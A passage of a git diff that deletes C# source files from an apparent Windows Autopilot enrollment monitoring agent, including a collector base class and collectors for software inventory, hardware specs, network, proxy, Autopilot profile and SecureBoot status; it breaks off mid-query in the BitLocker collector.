e.NormalizationConfidence == "low"); - - for (int i = 0; i < totalChunks; i++) - { - var chunk = inventory.Skip(i * ChunkSize).Take(ChunkSize).ToList(); - - var data = new Dictionary - { - { "triggered_at", trigger }, - { "total_count", inventory.Count }, - { "chunk_index", i }, - { "chunk_count", totalChunks }, - { "inventory", chunk.Select(SerializeEntry).ToList() } - }; - - // White Glove part tag (1 = pre-provisioning, 2 = user enrollment) - if (whiteGlovePart.HasValue) - { - data["whiteglove_part"] = whiteGlovePart.Value; - } - - // Confidence summary only in first chunk - if (i == 0) - { - data["confidence_summary"] = new Dictionary - { - { "high", highCount }, - { "medium", medCount }, - { "low", lowCount } - }; - } - - // New installs only in last chunk - if (i == totalChunks - 1 && newInstalls != null) - { - data["new_installs_during_enrollment"] = newInstalls.Select(SerializeEntry).ToList(); - data["new_installs_count"] = newInstalls.Count; - } - - var message = i == 0 - ? (trigger == "startup" - ? $"{Name}: Baseline inventory ({inventory.Count} items, {highCount} high-confidence)" - : $"{Name}: Shutdown inventory ({inventory.Count} items, {newInstalls?.Count ?? 0} new during enrollment)") - : $"{Name}: Inventory chunk {i + 1}/{totalChunks}"; - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "software_inventory_analysis", - Severity = EventSeverity.Info, - Source = Name, - Phase = phase, - Message = message, - Data = data - }); - } - } - - private static Dictionary SerializeEntry(SoftwareEntry e) - { - return new Dictionary - { - { "displayName", e.DisplayName ?? "" }, - { "displayVersion", e.DisplayVersion ?? "" }, - { "publisher", e.Publisher ?? "" }, - { "installDate", e.InstallDate ?? "" }, - { "registrySource", e.RegistrySource ?? "" }, - { "normalizedPublisher", e.NormalizedPublisher ?? "" }, - { "normalizedName", e.NormalizedName ?? "" }, - { "normalizedVersion", e.NormalizedVersion ?? "" }, - { "normalizationConfidence", e.NormalizationConfidence ?? "low" } - }; - } - - // ----------------------------------------------------------------------- - // Private model - // ----------------------------------------------------------------------- - - private class SoftwareEntry - { - public string DisplayName { get; set; } - public string DisplayVersion { get; set; } - public string Publisher { get; set; } - public string InstallDate { get; set; } - public string InstallLocation { get; set; } - public string UninstallString { get; set; } - public bool IsWindowsInstaller { get; set; } - public string RegistrySource { get; set; } - - // Normalized fields - public string NormalizedPublisher { get; set; } - public string NormalizedName { get; set; } - public string NormalizedVersion { get; set; } - public string NormalizationConfidence { get; set; } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/CollectorBase.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/CollectorBase.cs deleted file mode 100644 index 1cc592da..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/CollectorBase.cs +++ /dev/null @@ -1,98 +0,0 @@ -using System; -using System.Threading; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry -{ - /// - /// Abstract base for interval-based event collectors. - /// Handles Timer lifecycle (Start/Stop/Dispose) so subclasses only implement Collect(). - /// - public abstract class CollectorBase : IDisposable - { - protected readonly string SessionId; - protected readonly string TenantId; - protected readonly Action EmitEvent; - protected readonly AgentLogger Logger; - - private readonly int _intervalSeconds; - private Timer _timer; - private bool _disposed; - - protected CollectorBase( - string sessionId, - string tenantId, - Action emitEvent, - AgentLogger logger, - int intervalSeconds) - { - SessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - TenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - EmitEvent = emitEvent ?? throw new ArgumentNullException(nameof(emitEvent)); - Logger = logger ?? throw new ArgumentNullException(nameof(logger)); - _intervalSeconds = intervalSeconds; - } - - /// Starts the collection interval timer. - public void Start() - { - if (_disposed) return; - OnBeforeStart(); - var interval = TimeSpan.FromSeconds(_intervalSeconds); - _timer = new Timer(_ => CollectSafe(), null, GetInitialDelay(), interval); - Logger.Info($"[{GetType().Name}] Started (interval={_intervalSeconds}s)"); - } - - /// Stops the collection timer without disposing the collector. - public void Stop() - { - _timer?.Dispose(); - _timer = null; - Logger.Info($"[{GetType().Name}] Stopped"); - OnAfterStop(); - } - - public void Dispose() - { - if (_disposed) return; - _disposed = true; - Stop(); - } - - /// Override to perform collection. Called on each timer tick. - protected abstract void Collect(); - - /// - /// Override to return the initial delay before the first tick. - /// Default: one full interval (same as the repeat interval). - /// - protected virtual TimeSpan GetInitialDelay() => TimeSpan.FromSeconds(_intervalSeconds); - - /// Optional hook called before the timer starts (e.g. to initialise counters). - protected virtual void OnBeforeStart() { } - - /// Optional hook called after the timer stops (e.g. to dispose counters). - protected virtual void OnAfterStop() { } - - /// Pauses the collection timer without stopping/disposing the collector. - protected void PauseTimer() - { - _timer?.Change(Timeout.Infinite, Timeout.Infinite); - } - - /// Resumes the collection timer after a pause. - protected void ResumeTimer() - { - if (_disposed || _timer == null) return; - var interval = TimeSpan.FromSeconds(_intervalSeconds); - _timer.Change(TimeSpan.Zero, interval); - } - - private void CollectSafe() - { - try { Collect(); } - catch (Exception ex) { Logger.Error($"[{GetType().Name}] Collection error: {ex.Message}", ex); } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/DeviceInfo/DeviceInfoCollector.HardwareSpec.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/DeviceInfo/DeviceInfoCollector.HardwareSpec.cs deleted file mode 100644 index f45802e3..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/DeviceInfo/DeviceInfoCollector.HardwareSpec.cs +++ /dev/null @@ -1,481 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Management; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo -{ - /// - /// Partial: Static hardware specifications (CPU, RAM, Disk, BIOS, Battery, GPU). - /// Collected once at agent startup — these values do not change during enrollment. - /// - public partial class DeviceInfoCollector - { - private void CollectHardwareSpec() - { - var data = new Dictionary(); - - try - { - CollectSystemInfo(data); - CollectCpuInfo(data); - CollectMemoryInfo(data); - CollectDiskInfo(data); - CollectBiosInfo(data); - CollectBatteryInfo(data); - CollectGpuInfo(data); - - var message = BuildHardwareSpecMessage(data); - EmitDeviceInfoEvent("hardware_spec", message, data); - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect hardware spec: {ex.Message}"); - } - } - - /// - /// Emits system manufacturer/model + a coarse virtual-machine flag onto the - /// hardware_spec event. Reuses so Lenovo's - /// quirk (model lives in Win32_ComputerSystemProduct.Version, not - /// Win32_ComputerSystem.Model) and the VM detection allowlist stay in one place - /// shared with MonitoringService / DiagnosticsPackage / GatherRulesMode. - /// - private void CollectSystemInfo(Dictionary data) - { - try - { - var manufacturer = DeviceInfoProvider.GetManufacturer(); - var model = DeviceInfoProvider.GetModel(); - data["systemManufacturer"] = manufacturer; - data["systemModel"] = model; - data["isVirtualMachine"] = DeviceInfoProvider.IsVirtualMachine(manufacturer, model); - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect system info: {ex.Message}"); - } - } - - private void CollectCpuInfo(Dictionary data) - { - try - { - using (var searcher = new ManagementObjectSearcher( - "SELECT Name, NumberOfCores, NumberOfLogicalProcessors, MaxClockSpeed FROM Win32_Processor")) - { - foreach (ManagementObject obj in searcher.Get()) - { - data["cpuName"] = obj["Name"]?.ToString()?.Trim(); - - if (obj["NumberOfCores"] != null) - data["cpuCores"] = Convert.ToInt32(obj["NumberOfCores"]); - - if (obj["NumberOfLogicalProcessors"] != null) - data["cpuLogicalProcessors"] = Convert.ToInt32(obj["NumberOfLogicalProcessors"]); - - if (obj["MaxClockSpeed"] != null) - { - var mhz = Convert.ToInt32(obj["MaxClockSpeed"]); - data["cpuMaxClockSpeedGHz"] = Math.Round(mhz / 1000.0, 2); - } - - break; // first processor only - } - } - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect CPU info: {ex.Message}"); - } - } - - private void CollectMemoryInfo(Dictionary data) - { - try - { - // Total physical memory from Win32_ComputerSystem - using (var searcher = new ManagementObjectSearcher( - "SELECT TotalPhysicalMemory FROM Win32_ComputerSystem")) - { - foreach (ManagementObject obj in searcher.Get()) - { - if (obj["TotalPhysicalMemory"] != null) - { - var bytes = Convert.ToInt64(obj["TotalPhysicalMemory"]); - data["ramTotalGB"] = Math.Round(bytes / (1024.0 * 1024.0 * 1024.0), 1); - } - break; - } - } - - // DIMM details from Win32_PhysicalMemory - var dimms = new List>(); - using (var searcher = new ManagementObjectSearcher( - "SELECT Capacity, Speed, SMBIOSMemoryType, FormFactor FROM Win32_PhysicalMemory")) - { - foreach (ManagementObject obj in searcher.Get()) - { - var dimm = new Dictionary(); - - if (obj["Capacity"] != null) - { - var bytes = Convert.ToInt64(obj["Capacity"]); - dimm["capacityGB"] = Math.Round(bytes / (1024.0 * 1024.0 * 1024.0), 1); - } - - if (obj["Speed"] != null) - dimm["speed"] = Convert.ToInt32(obj["Speed"]); - - if (obj["SMBIOSMemoryType"] != null) - dimm["type"] = MapMemoryType(Convert.ToInt32(obj["SMBIOSMemoryType"])); - - if (obj["FormFactor"] != null) - dimm["formFactor"] = MapFormFactor(Convert.ToInt32(obj["FormFactor"])); - - dimms.Add(dimm); - } - } - - data["ramDimmCount"] = dimms.Count; - - if (dimms.Count > 0) - { - var first = dimms[0]; - if (first.ContainsKey("speed")) - data["ramSpeed"] = first["speed"]; - if (first.ContainsKey("type")) - data["ramType"] = first["type"]; - if (first.ContainsKey("formFactor")) - data["ramFormFactor"] = first["formFactor"]; - } - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect memory info: {ex.Message}"); - } - } - - private void CollectDiskInfo(Dictionary data) - { - try - { - var disks = new List>(); - bool collected = false; - - // Primary: MSFT_PhysicalDisk from Storage namespace (better SSD/NVMe detection) - try - { - using (var searcher = new ManagementObjectSearcher( - new ManagementScope(@"\\.\root\Microsoft\Windows\Storage"), - new ObjectQuery("SELECT FriendlyName, MediaType, Size, BusType FROM MSFT_PhysicalDisk"))) - { - foreach (ManagementObject obj in searcher.Get()) - { - var disk = new Dictionary(); - - disk["model"] = obj["FriendlyName"]?.ToString()?.Trim(); - - if (obj["Size"] != null) - { - var bytes = Convert.ToInt64(obj["Size"]); - disk["sizeGB"] = Math.Round(bytes / (1024.0 * 1024.0 * 1024.0), 0); - } - - var mediaType = obj["MediaType"] != null ? Convert.ToInt32(obj["MediaType"]) : 0; - var busType = obj["BusType"] != null ? Convert.ToInt32(obj["BusType"]) : 0; - disk["mediaType"] = MapDiskMediaType(mediaType, busType); - disk["busType"] = MapDiskBusType(busType); - - disks.Add(disk); - } - collected = true; - } - } - catch - { - // Storage namespace not available — fall back to Win32_DiskDrive - } - - // Fallback: Win32_DiskDrive - if (!collected) - { - using (var searcher = new ManagementObjectSearcher( - "SELECT Model, Size, InterfaceType, MediaType FROM Win32_DiskDrive")) - { - foreach (ManagementObject obj in searcher.Get()) - { - var disk = new Dictionary(); - - disk["model"] = obj["Model"]?.ToString()?.Trim(); - - if (obj["Size"] != null) - { - var bytes = Convert.ToInt64(obj["Size"]); - disk["sizeGB"] = Math.Round(bytes / (1024.0 * 1024.0 * 1024.0), 0); - } - - disk["mediaType"] = obj["MediaType"]?.ToString() ?? "Unknown"; - disk["busType"] = obj["InterfaceType"]?.ToString() ?? "Unknown"; - - disks.Add(disk); - } - } - } - - data["disks"] = disks; - data["diskCount"] = disks.Count; - - // System drive free space - try - { - var systemDrive = new DriveInfo("C"); - if (systemDrive.IsReady) - { - data["systemDriveFreeGB"] = Math.Round(systemDrive.AvailableFreeSpace / (1024.0 * 1024.0 * 1024.0), 1); - data["systemDriveTotalGB"] = Math.Round(systemDrive.TotalSize / (1024.0 * 1024.0 * 1024.0), 0); - } - } - catch { /* C: drive info not available */ } - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect disk info: {ex.Message}"); - } - } - - private void CollectBiosInfo(Dictionary data) - { - try - { - using (var searcher = new ManagementObjectSearcher( - "SELECT SMBIOSBIOSVersion, ReleaseDate, SMBIOSMajorVersion, SMBIOSMinorVersion FROM Win32_BIOS")) - { - foreach (ManagementObject obj in searcher.Get()) - { - data["biosVersion"] = obj["SMBIOSBIOSVersion"]?.ToString(); - - if (obj["ReleaseDate"] != null) - { - var wmiDate = obj["ReleaseDate"].ToString(); - data["biosReleaseDate"] = ParseWmiDateTime(wmiDate); - } - - var major = obj["SMBIOSMajorVersion"]?.ToString(); - var minor = obj["SMBIOSMinorVersion"]?.ToString(); - if (major != null && minor != null) - data["smbiosVersion"] = $"{major}.{minor}"; - - break; - } - } - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect BIOS info: {ex.Message}"); - } - } - - private void CollectBatteryInfo(Dictionary data) - { - try - { - using (var searcher = new ManagementObjectSearcher( - "SELECT DesignCapacity, FullChargeCapacity, EstimatedChargeRemaining, BatteryStatus FROM Win32_Battery")) - { - var results = searcher.Get(); - bool found = false; - - foreach (ManagementObject obj in results) - { - found = true; - data["batteryPresent"] = true; - - var designCapacity = obj["DesignCapacity"] != null ? Convert.ToInt32(obj["DesignCapacity"]) : 0; - var fullChargeCapacity = obj["FullChargeCapacity"] != null ? Convert.ToInt32(obj["FullChargeCapacity"]) : 0; - - if (designCapacity > 0) - data["batteryDesignCapacityMWh"] = designCapacity; - - if (fullChargeCapacity > 0) - data["batteryFullChargeCapacityMWh"] = fullChargeCapacity; - - if (designCapacity > 0 && fullChargeCapacity > 0) - data["batteryHealthPercent"] = (int)Math.Round(fullChargeCapacity * 100.0 / designCapacity); - - if (obj["EstimatedChargeRemaining"] != null) - data["batteryChargePercent"] = Convert.ToInt32(obj["EstimatedChargeRemaining"]); - - if (obj["BatteryStatus"] != null) - data["batteryStatus"] = MapBatteryStatus(Convert.ToInt32(obj["BatteryStatus"])); - - break; // first battery only - } - - if (!found) - data["batteryPresent"] = false; - } - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect battery info: {ex.Message}"); - } - } - - private void CollectGpuInfo(Dictionary data) - { - try - { - var gpus = new List>(); - - using (var searcher = new ManagementObjectSearcher( - "SELECT Name, AdapterRAM, DriverVersion FROM Win32_VideoController")) - { - foreach (ManagementObject obj in searcher.Get()) - { - var gpu = new Dictionary(); - - gpu["name"] = obj["Name"]?.ToString()?.Trim(); - - if (obj["AdapterRAM"] != null) - { - var bytes = Convert.ToUInt32(obj["AdapterRAM"]); - // WMI AdapterRAM is uint32 — caps at ~4GB. If value equals uint.MaxValue, it's unreliable. - if (bytes > 0 && bytes < uint.MaxValue) - gpu["adapterRAMGB"] = Math.Round(bytes / (1024.0 * 1024.0 * 1024.0), 1); - } - - gpu["driverVersion"] = obj["DriverVersion"]?.ToString(); - - gpus.Add(gpu); - } - } - - data["gpus"] = gpus; - data["gpuCount"] = gpus.Count; - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect GPU info: {ex.Message}"); - } - } - - #region Hardware Spec Helpers - - private static string BuildHardwareSpecMessage(Dictionary data) - { - var parts = new List(); - - if (data.ContainsKey("cpuName")) - parts.Add(data["cpuName"].ToString()); - - if (data.ContainsKey("ramTotalGB")) - { - var ram = $"{data["ramTotalGB"]} GB"; - if (data.ContainsKey("ramType")) - ram += $" {data["ramType"]}"; - parts.Add(ram + " RAM"); - } - - if (data.ContainsKey("disks") && data["disks"] is List> disks && disks.Count > 0) - { - // Prefer non-USB disk for the summary message (USB drives are often boot media, not the actual system disk) - var d = disks.FirstOrDefault(dk => dk.ContainsKey("busType") && !string.Equals(dk["busType"]?.ToString(), "USB", StringComparison.OrdinalIgnoreCase)) - ?? disks[0]; - var diskDesc = d.ContainsKey("sizeGB") ? $"{d["sizeGB"]} GB" : ""; - if (d.ContainsKey("mediaType")) - diskDesc += $" {d["mediaType"]}"; - parts.Add(diskDesc.Trim()); - } - - return parts.Count > 0 ? string.Join(", ", parts) : "Hardware spec collected"; - } - - private static string MapMemoryType(int smbiosType) - { - switch (smbiosType) - { - case 20: return "DDR"; - case 21: return "DDR2"; - case 24: return "DDR3"; - case 26: return "DDR4"; - case 34: return "DDR5"; - default: return smbiosType > 0 ? $"Type {smbiosType}" : "Unknown"; - } - } - - private static string MapFormFactor(int formFactor) - { - switch (formFactor) - { - case 8: return "DIMM"; - case 12: return "SODIMM"; - default: return formFactor > 0 ? $"FormFactor {formFactor}" : "Unknown"; - } - } - - private static string MapDiskMediaType(int mediaType, int busType) - { - // MSFT_PhysicalDisk MediaType: 3=HDD, 4=SSD, 5=SCM - // BusType: 17=NVMe - switch (mediaType) - { - case 3: return "HDD"; - case 4: return busType == 17 ? "NVMe SSD" : "SSD"; - case 5: return "SCM"; - default: return "Unknown"; - } - } - - private static string MapDiskBusType(int busType) - { - switch (busType) - { - case 3: return "ATA"; - case 7: return "USB"; - case 11: return "SATA"; - case 17: return "NVMe"; - default: return busType > 0 ? $"BusType {busType}" : "Unknown"; - } - } - - private static string MapBatteryStatus(int status) - { - switch (status) - { - case 1: return "Discharging"; - case 2: return "AC Power"; - case 3: return "Fully Charged"; - case 4: return "Low"; - case 5: return "Critical"; - case 6: return "Charging"; - case 7: return "Charging High"; - case 8: return "Charging Low"; - case 9: return "Charging Critical"; - default: return $"Unknown ({status})"; - } - } - - private static string ParseWmiDateTime(string wmiDate) - { - // WMI datetime format: yyyyMMddHHmmss.ffffff+zzz (e.g., "20240115000000.000000+000") - if (string.IsNullOrEmpty(wmiDate) || wmiDate.Length < 8) - return wmiDate; - - try - { - var year = wmiDate.Substring(0, 4); - var month = wmiDate.Substring(4, 2); - var day = wmiDate.Substring(6, 2); - return $"{year}-{month}-{day}"; - } - catch - { - return wmiDate; - } - } - - #endregion - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/DeviceInfo/DeviceInfoCollector.NetworkAndSecurity.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/DeviceInfo/DeviceInfoCollector.NetworkAndSecurity.cs deleted file mode 100644 index 59aba960..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/DeviceInfo/DeviceInfoCollector.NetworkAndSecurity.cs +++ /dev/null @@ -1,789 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Linq; -using System.Management; -using System.Net.NetworkInformation; -using System.Text.Json; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Security; -using AutopilotMonitor.Shared.Models; -using Microsoft.Win32; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo -{ - /// - /// Partial: Network, proxy, Autopilot profile, security (SecureBoot, BitLocker, TPM, AAD join), - /// ESP configuration, WiFi signal, and helper methods. - /// - public partial class DeviceInfoCollector - { - /// - /// True when AAD join status shows "Azure AD Joined" with a non-empty userEmail - /// that is NOT a provisioning placeholder (see ). - /// Used by EnrollmentTracker to distinguish user-driven from device-only deployments - /// when SkipUserStatusPage=true (which admins commonly set for user-driven enrollments too). - /// - public bool HasAadJoinedUser { get; private set; } - - /// - /// True when the AAD join userEmail matches a known transient provisioning-account - /// pattern (foouser@*, autopilot@*). These accounts appear during Autopilot - /// pre-provisioning (WhiteGlove) and are NOT a real AAD join — they are a soft - /// positive WhiteGlove indicator and feed into . - /// - public bool IsFooUserDetected { get; private set; } - - private void CollectNetworkAndDnsConfiguration() - { - try - { - var adapters = new List>(); - var dnsServers = new List>(); - - using (var searcher = new ManagementObjectSearcher( - "SELECT Description, IPAddress, IPSubnet, DefaultIPGateway, MACAddress, DHCPEnabled, DHCPServer, DNSServerSearchOrder " + - "FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")) - { - foreach (ManagementObject obj in searcher.Get()) - { - // Network adapter info - var adapter = new Dictionary - { - { "description", obj["Description"]?.ToString() }, - { "macAddress", obj["MACAddress"]?.ToString() }, - { "dhcpEnabled", obj["DHCPEnabled"]?.ToString() }, - { "dhcpServer", obj["DHCPServer"]?.ToString() } - }; - - var ipAddresses = obj["IPAddress"] as string[]; - if (ipAddresses != null) - adapter["ipAddresses"] = string.Join(", ", ipAddresses); - - var subnets = obj["IPSubnet"] as string[]; - if (subnets != null) - adapter["subnets"] = string.Join(", ", subnets); - - var gateways = obj["DefaultIPGateway"] as string[]; - if (gateways != null) - adapter["gateways"] = string.Join(", ", gateways); - - adapters.Add(adapter); - - // DNS info (extracted from the same result set) - var servers = obj["DNSServerSearchOrder"] as string[]; - if (servers != null && servers.Length > 0) - { - dnsServers.Add(new Dictionary - { - { "adapter", obj["Description"]?.ToString() }, - { "servers", string.Join(", ", servers) } - }); - } - } - } - - EmitDeviceInfoEvent("network_adapters", "Network adapters configuration", - new Dictionary - { - { "adapterCount", adapters.Count }, - { "adapters", adapters } - }); - - EmitDeviceInfoEvent("dns_configuration", "DNS server configuration", - new Dictionary - { - { "dnsEntries", dnsServers } - }); - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect network/DNS config: {ex.Message}"); - } - } - - private void CollectProxyConfiguration() - { - try - { - var data = new Dictionary(); - - using (var key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Internet Settings")) - { - if (key != null) - { - data["proxyEnabled"] = key.GetValue("ProxyEnable")?.ToString() == "1"; - data["proxyServer"] = key.GetValue("ProxyServer")?.ToString(); - data["proxyOverride"] = key.GetValue("ProxyOverride")?.ToString(); - data["autoConfigUrl"] = key.GetValue("AutoConfigURL")?.ToString(); - } - } - - // Also check WinHTTP proxy - using (var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections")) - { - data["winHttpProxyConfigured"] = key?.GetValue("WinHttpSettings") != null; - } - - var proxyType = "Direct"; - if (data.ContainsKey("proxyEnabled") && (bool)data["proxyEnabled"]) - proxyType = "Proxy"; - else if (data.ContainsKey("autoConfigUrl") && data["autoConfigUrl"] != null) - proxyType = "PAC"; - - data["proxyType"] = proxyType; - - EmitDeviceInfoEvent("proxy_configuration", $"Proxy configuration: {proxyType}", data); - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect proxy config: {ex.Message}"); - } - } - - /// - /// Reads the Autopilot profile from registry and detects enrollment type and Hybrid Join status. - /// Returns enrollment type ("v1"/"v2") and whether the profile indicates Hybrid Azure AD Join. - /// Note: AutopilotMode and DomainJoinMethod reflect profile capabilities (what is allowed), - /// not the actual live enrollment state. - /// - private (string enrollmentType, bool isHybridJoin, int? autopilotMode) CollectAutopilotProfile() - { - var detectedType = "v1"; - var isHybridJoin = false; - int? detectedAutopilotMode = null; - - try - { - var data = new Dictionary(); - - // Read JSON from AutopilotPolicyCache registry key (contains all Autopilot profile info) - using (var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Provisioning\AutopilotPolicyCache")) - { - if (key != null) - { - // The registry key contains individual values that together form the Autopilot profile - // Read all available values and add them to data dictionary - foreach (var valueName in key.GetValueNames()) - { - var value = key.GetValue(valueName); - if (value != null) - { - // Store with original casing from registry - var valueAsString = value.ToString(); - if (string.Equals(valueName, "PolicyJsonCache", StringComparison.OrdinalIgnoreCase) || - string.Equals(valueName, "CloudAssignedAadServerData", StringComparison.OrdinalIgnoreCase)) - { - valueAsString = TryFormatJson(valueAsString); - } - - data[valueName] = valueAsString; - } - } - - // Extract key values for enrollment type detection - var deviceReg = data.ContainsKey("CloudAssignedDeviceRegistration") - ? data["CloudAssignedDeviceRegistration"]?.ToString() - : null; - var espEnabled = data.ContainsKey("CloudAssignedEspEnabled") - ? data["CloudAssignedEspEnabled"]?.ToString() - : null; - - // Determine enrollment type: WDP if DeviceRegistration=2 or ESP explicitly disabled - if (deviceReg == "2" || espEnabled == "0") - detectedType = "v2"; - else - detectedType = "v1"; - - // --- Interpret AutopilotMode (profile capability, not live state) --- - // 0 = User Driven, 1 = Self Deploying, 2 = Pre-Provisioning (White Glove) - var autopilotModeStr = data.ContainsKey("AutopilotMode") - ? data["AutopilotMode"]?.ToString() - : null; - if (autopilotModeStr != null && int.TryParse(autopilotModeStr, out var autopilotMode)) - { - detectedAutopilotMode = autopilotMode; - // Only mode 0 is confirmed — modes 1, 2, 3+ are shown as raw integers - // until their meaning is verified across all Autopilot profile variants. - string modeLabel; - switch (autopilotMode) - { - case 0: modeLabel = $"User Driven ({autopilotMode})"; break; - default: modeLabel = $"{autopilotMode}"; break; - } - data["autopilotModeLabel"] = modeLabel; - _logger.Info($"EnrollmentTracker: AutopilotMode={autopilotMode} ({modeLabel})"); - } - - // --- Interpret CloudAssignedDomainJoinMethod --- - // 0 = Entra Join (Azure AD Join), 1 = Hybrid Azure AD Join - // This value may be a top-level registry value OR embedded in PolicyJsonCache JSON. - var domainJoinMethodStr = data.ContainsKey("CloudAssignedDomainJoinMethod") - ? data["CloudAssignedDomainJoinMethod"]?.ToString() - : null; - - // Fallback: extract from PolicyJsonCache if not a top-level registry value - if (domainJoinMethodStr == null && data.ContainsKey("PolicyJsonCache")) - { - try - { - var policyRaw = data["PolicyJsonCache"]?.ToString(); - if (!string.IsNullOrWhiteSpace(policyRaw)) - { - using (var pDoc = System.Text.Json.JsonDocument.Parse(policyRaw)) - { - if (pDoc.RootElement.TryGetProperty("CloudAssignedDomainJoinMethod", out var djmProp)) - { - domainJoinMethodStr = djmProp.ToString(); - } - } - } - } - catch (Exception ex) - { - _logger.Trace($"EnrollmentTracker: Failed to parse PolicyJsonCache for DomainJoinMethod: {ex.Message}"); - } - } - - if (domainJoinMethodStr != null && int.TryParse(domainJoinMethodStr, out var domainJoinMethod)) - { - string joinLabel; - switch (domainJoinMethod) - { - case 0: joinLabel = "Entra Join"; break; - case 1: joinLabel = "Hybrid Azure AD Join"; break; - default: joinLabel = $"Unknown ({domainJoinMethod})"; break; - } - data["domainJoinMethodLabel"] = joinLabel; - - // Hybrid Join is reliably indicated by DomainJoinMethod == 1 - isHybridJoin = domainJoinMethod == 1; - } - - data["isHybridJoin"] = isHybridJoin; - - if (isHybridJoin) - { - _logger.Info("EnrollmentTracker: Hybrid Azure AD Join profile detected"); - } - - _logger.Info($"EnrollmentTracker: Read {data.Count} values from AutopilotPolicyCache"); - } - else - { - _logger.Warning("EnrollmentTracker: AutopilotPolicyCache registry key not found"); - } - } - - // Include enrollment type in autopilot_profile event data - data["enrollmentType"] = detectedType; - - EmitDeviceInfoEvent("autopilot_profile", "Autopilot profile configuration", data); - - // Emit dedicated enrollment_type_detected event for easy filtering - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "enrollment_type_detected", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Unknown, - Message = detectedType == "v2" - ? "Enrollment type: Autopilot v2 (Windows Device Preparation)" - : "Enrollment type: Autopilot v1 (Classic ESP)", - Data = new Dictionary - { - { "enrollmentType", detectedType }, - { "CloudAssignedDeviceRegistration", data.ContainsKey("CloudAssignedDeviceRegistration") ? data["CloudAssignedDeviceRegistration"] : "n/a" }, - { "CloudAssignedEspEnabled", data.ContainsKey("CloudAssignedEspEnabled") ? data["CloudAssignedEspEnabled"] : "n/a" }, - { "detectionRule", detectedType == "v2" - ? (data.ContainsKey("CloudAssignedDeviceRegistration") && data["CloudAssignedDeviceRegistration"]?.ToString() == "2" - ? "CloudAssignedDeviceRegistration=2" - : "CloudAssignedEspEnabled=0") - : "default (no v2 indicators)" } - } - }); - - _logger.Info($"EnrollmentTracker: enrollment type detected: {detectedType}"); - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect autopilot profile: {ex.Message}"); - } - - return (detectedType, isHybridJoin, detectedAutopilotMode); - } - - private void CollectSecureBootStatus() - { - try - { - var data = new Dictionary(); - - using (var key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\SecureBoot\State")) - { - if (key != null) - { - var value = key.GetValue("UEFISecureBootEnabled"); - data["uefiSecureBootEnabled"] = value != null && Convert.ToInt32(value) == 1; - } - else - { - data["uefiSecureBootEnabled"] = false; - data["note"] = "SecureBoot registry key not found"; - } - } - - // UEFI CA 2023 certificate deployment status (expires June 2026) - using (var servicingKey = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\SecureBoot\Servicing")) - { - if (servicingKey != null) - { - data["uefiCA2023Status"] = servicingKey.GetValue("UEFICA2023Status")?.ToString() ?? "unknown"; - var capable = servicingKey.GetValue("WindowsUEFICA2023Capable"); - if (capable != null) - data["windowsUefiCA2023Capable"] = Convert.ToInt32(capable); - var error = servicingKey.GetValue("UEFICA2023Error"); - if (error != null && Convert.ToInt32(error) != 0) - data["uefiCA2023Error"] = Convert.ToInt32(error); - data["confidenceLevel"] = servicingKey.GetValue("ConfidenceLevel")?.ToString() ?? "unknown"; - } - else - { - data["uefiCA2023Status"] = "notfound"; - } - } - - EmitDeviceInfoEvent("secureboot_status", $"SecureBoot: {data["uefiSecureBootEnabled"]}, CA2023: {data["uefiCA2023Status"]}", data); - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to collect SecureBoot status: {ex.Message}"); - } - } - - private void CollectBitLockerStatus() - { - try - { - var data = new Dictionary(); - var volumes = new List>(); - - using (var searcher = new ManagementObjectSearcher( - new ManagementScope(@"\\.\root\CIMV2\Security\MicrosoftVolumeEncryption"), - new ObjectQuery("SELECT DriveLetter, ProtectionStatus, 